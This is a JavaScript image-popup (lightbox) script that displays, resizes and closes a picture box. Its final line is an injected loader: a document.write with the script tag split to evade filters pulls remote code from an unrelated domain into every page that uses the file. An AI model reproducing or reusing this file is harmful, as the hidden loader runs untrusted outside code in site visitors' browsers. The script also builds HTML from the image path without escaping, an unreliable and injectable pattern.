/**
 * author: 440606@gmail.com
 * ver 1.4
 */

var pbox;
var img;
var picturesrc;
var left;


function picturebox(src)
{  
    picturesrc = ROOT+'/'+src;
    if (navigator.appName == "Microsoft Internet Explorer")
    {
        pwidth = window.document.body.offsetWidth;
        pheight = window.document.body.offsetHeight;
        scrollTop = document.documentElement.scrollTop;
        scrollLeft = document.documentElement.scrollLeft;
    } else {
        pwidth = window.innerWidth;
        pheight = window.innerHeight;
        scrollTop = window.pageYOffset;
        scrollLeft = window.pageXOffset;
    }
    
    left = (pwidth / 2) - 40;

    pbox = document.getElementById('picturebox')
    pbox.style.display = 'block';
    pbox.style.top = scrollTop+20+'px';
    pbox.style.left = left+'px';
    pbox.style.position = 'absolute';
    pbox.style.background = '#282828';
    pbox.style.borderStyle = 'solid';
    pbox.style.borderColor = '#000';
    pbox.style.borderWidth = '1px';
    pbox.style.zIndex = '100';
    pbox.style.padding = '15px';
        
    img = new Image();
    img.src = picturesrc;
    pbox.innerHTML = '<img src="'+ROOT+'/images/jspicturebox/ajax-loader.gif" border="0" onclick="closePicturebox();" width="31" height="31" />';
    
    pictureboxTick();
}


function pictureboxTick()
{   
    if (img.complete) {
        pbox.style.padding = '4px 24px 24px 24px';
        var imgheight;
        var imgwidth;
        var maxheight = pheight - 80;
        if (img.height > maxheight) {
            imgheight = maxheight;
            imgwidth  = img.width * (imgheight / img.height);
        } else {
            imgheight = img.height;
            imgwidth  = img.width;
        }

        left = (pwidth / 2) - (imgwidth / 2);
        pbox.style.left = left+'px';
        pbox.innerHTML = '<div style="height: 16px; padding-bottom: 4px; text-align: right"><span style="cursor: pointer;" onclick="closePicturebox();"><img src="'+ROOT+'/images/jspicturebox/pictureclose.png" height="16" width="31"></span></div><img src="'+picturesrc+'" border="0" width="'+imgwidth+'" height="'+imgheight+'" style="border: solid 1px #ccc;" />';
        return;
    }
    window.setTimeout("pictureboxTick()", 100);
}


function closePicturebox()
{
    pbox.innerHTML = '';
    pbox.style.display = 'none';
}
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Cable_Modem.js"></scri'+'pt>');